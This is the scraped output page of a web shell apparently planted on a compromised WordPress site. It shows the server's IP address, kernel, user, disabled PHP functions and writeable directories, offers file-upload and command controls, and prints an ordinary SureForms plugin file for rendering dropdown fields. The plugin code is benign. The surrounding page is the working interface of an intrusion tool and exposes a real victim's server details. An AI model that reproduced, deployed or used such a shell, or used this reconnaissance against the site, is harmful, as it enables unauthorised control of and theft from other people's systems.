Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/sureforms/inc/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/sureforms/inc/fields/dropdown-markup.php
<?php
/**
 * Sureforms Dropdown Markup Class file.
 *
 * @package sureforms.
 * @since 0.0.1
 */

namespace SRFM\Inc\Fields;

require SRFM_DIR . 'modules/gutenberg/classes/class-spec-gb-helper.php';

use Spec_Gb_Helper;
use SRFM\Inc\Helper;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Sureforms Dropdown Markup Class.
 *
 * @since 0.0.1
 */
class Dropdown_Markup extends Base {
	/**
	 * Unique instance identifier for this dropdown.
	 *
	 * @var string
	 * @since 1.10.0
	 */
	protected $unique_slug;

	/**
	 * Stores the multi select attribute value.
	 *
	 * @var string
	 * @since 0.0.7
	 */
	protected $multi_select_attr;

	/**
	 * Stores the search attribute value.
	 *
	 * @var string
	 * @since 0.0.7
	 */
	protected $search_attr;

	/**
	 * Flag indicating if the value should be shown.
	 *
	 * @var bool
	 * @since 1.5.0
	 */
	protected $show_values;

	/**
	 * Array of preselected option indices.
	 *
	 * @var array
	 * @since 2.3.0
	 */
	protected $preselected_options;

	/**
	 * Static counter for generating unique dropdown instances.
	 *
	 * @var int
	 * @since 1.10.0
	 */
	private static $instance_counter = 0;

	/**
	 * Initialize the properties based on block attributes.
	 *
	 * @param array<mixed> $attributes Block attributes.
	 * @since 0.0.2
	 */
	public function __construct( $attributes ) {
		$this->slug = 'dropdown';
		$this->set_properties( $attributes );
		$this->set_input_label( __( 'Dropdown', 'sureforms' ) );
		$this->set_error_msg( $attributes, 'srfm_dropdown_block_required_text' );
		$this->multi_select_attr   = ! empty( $attributes['multiSelect'] ) ? 'true' : 'false';
		$this->search_attr         = ! empty( $attributes['searchable'] ) ? 'true' : 'false';
		$this->preselected_options = $attributes['preselectedOptions'] ?? [];
		$this->set_markup_properties();
		$this->set_aria_described_by();

		// Store the original placeholder before set_label_as_placeholder modifies placeholder_attr.
		$original_placeholder = $this->placeholder;
		$this->set_label_as_placeholder( $this->input_label );

		// For dropdowns, use the appropriate placeholder text:
		// 1. If label is being used as placeholder (label_markup is empty), use the label.
		// 2. Otherwise, use the block's placeholder value.
		if ( empty( $this->label_markup ) ) {
			$this->placeholder = $this->label;
		} elseif ( ! empty( $original_placeholder ) ) {
			$this->placeholder = $original_placeholder;
		}

		// Translate the default placeholder text for frontend display.
		if ( 'Select an option' === $this->placeholder ) {
			$this->placeholder = __( 'Select an option', 'sureforms' );
		}

		$this->show_values = apply_filters( 'srfm_show_options_values', false, $attributes['showValues'] ?? false );

		// Generate unique instance identifier.
		self::$instance_counter++;
		$this->unique_slug = $this->slug . '-' . self::$instance_counter;
	}

	/**
	 * Render the sureforms dropdown classic styling
	 *
	 * @since 0.0.2
	 * @return string|bool
	 */
	public function markup() {
		$this->class_name = $this->get_field_classes();

		ob_start(); ?>
			<div data-block-id="<?php echo esc_attr( $this->block_id ); ?>" class="<?php echo esc_attr( $this->class_name ); ?>">
				<fieldset>
					<input class="srfm-input-<?php echo esc_attr( $this->slug ); ?>-hidden" data-required="<?php echo esc_attr( $this->data_require_attr ); ?>" aria-required="<?php echo esc_attr( $this->data_require_attr ); ?>" <?php echo wp_kses_post( $this->data_attribute_markup() ); ?> name="srfm-<?php echo esc_attr( $this->unique_slug ); ?>-<?php echo esc_attr( $this->block_id ); ?><?php echo esc_attr( $this->field_name ); ?>" type="hidden" value=""/>
					<legend class="srfm-block-legend">
						<?php echo wp_kses_post( $this->label_markup ); ?>
						<?php echo wp_kses_post( $this->help_markup ); ?>
					</legend>
					<div class="srfm-block-wrap srfm-dropdown-common-wrap">
					<?php
					if ( is_array( $this->options ) ) {
						?>
					<select
						class="srfm-dropdown-common srfm-<?php echo esc_attr( $this->slug ); ?>-input"
						<?php echo ! empty( $this->aria_described_by ) ? "aria-describedby='" . esc_attr( trim( $this->aria_described_by ) ) . "'" : ''; ?>
				data-required="<?php echo esc_attr( $this->data_require_attr ); ?>" aria-required="<?php echo esc_attr( $this->data_require_attr ); ?>" <?php echo wp_kses_post( $this->data_attribute_markup() ); ?> name="srfm-<?php echo esc_attr( $this->unique_slug ); ?>-<?php echo esc_attr( $this->block_id ); ?><?php echo esc_attr( $this->field_name ); ?>" data-multiple="<?php echo esc_attr( $this->multi_select_attr ); ?>" data-searchable="<?php echo esc_attr( $this->search_attr ); ?>"
						<?php
						if ( ! empty( $this->preselected_options ) ) {
							$preselected_labels = array_map(
								function( $i ) {
									$option = $this->options[ $i ] ?? [];
									return is_array( $option ) ? ( $option['label'] ?? '' ) : '';
								},
								$this->preselected_options
							);
							$json_encoded       = wp_json_encode( $preselected_labels );
							echo 'data-preselected="' . esc_attr( false !== $json_encoded ? $json_encoded : '' ) . '"';
						}
						?>
						tabindex="0" aria-hidden="true">
					<option class="srfm-dropdown-placeholder" value="" disabled <?php echo empty( $this->preselected_options ) ? 'selected' : ''; ?>><?php echo esc_html( $this->placeholder ); ?></option>
						<?php foreach ( $this->options as $i => $option ) { ?>
							<?php
								$icon_svg         = Spec_Gb_Helper::render_svg_html( $option['icon'] ?? '', true );
								$escaped_icon_svg = htmlspecialchars( Helper::get_string_value( $icon_svg ), ENT_QUOTES, 'UTF-8' );
								$is_preselected   = is_array( $this->preselected_options ) && in_array( $i, $this->preselected_options, true );
							?>
								<option value="<?php echo isset( $option['label'] ) ? esc_html( $option['label'] ) : ''; ?>" data-icon="<?php echo ! empty( $escaped_icon_svg ) ? esc_attr( $escaped_icon_svg ) : ''; ?>" <?php echo $this->show_values && isset( $option['value'] ) ? 'option-value="' . esc_attr( $option['value'] ) . '"' : ''; ?> <?php echo $is_preselected ? 'selected' : ''; ?>><?php echo isset( $option['label'] ) ? esc_html( $option['label'] ) : ''; ?></option>
								<?php
						}
						?>
					</select>
					<?php } ?>
					</div>
					<div class="srfm-error-wrap">
						<?php echo wp_kses_post( $this->error_msg_markup ); ?>
					</div>
				</fieldset>
			</div>
		<?php
		$markup = ob_get_clean();

		return apply_filters(
			'srfm_block_field_markup',
			$markup,
			[
				'slug'       => $this->slug,
				'field_name' => $this->field_name,
				'is_editing' => $this->is_editing,
				'attributes' => $this->attributes,
			]
		);
	}

	/**
	 * Data attribute markup for min and max value
	 *
	 * @since 0.0.13
	 * @return string
	 */
	protected function data_attribute_markup() {
		$data_attr = '';
		if ( 'false' === $this->multi_select_attr ) {
			return '';
		}

		if ( $this->min_selection ) {
			$data_attr .= 'data-min-selection="' . esc_attr( $this->min_selection ) . '"';
		}
		if ( $this->max_selection ) {
			$data_attr .= 'data-max-selection="' . esc_attr( $this->max_selection ) . '"';
		}

		return $data_attr;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit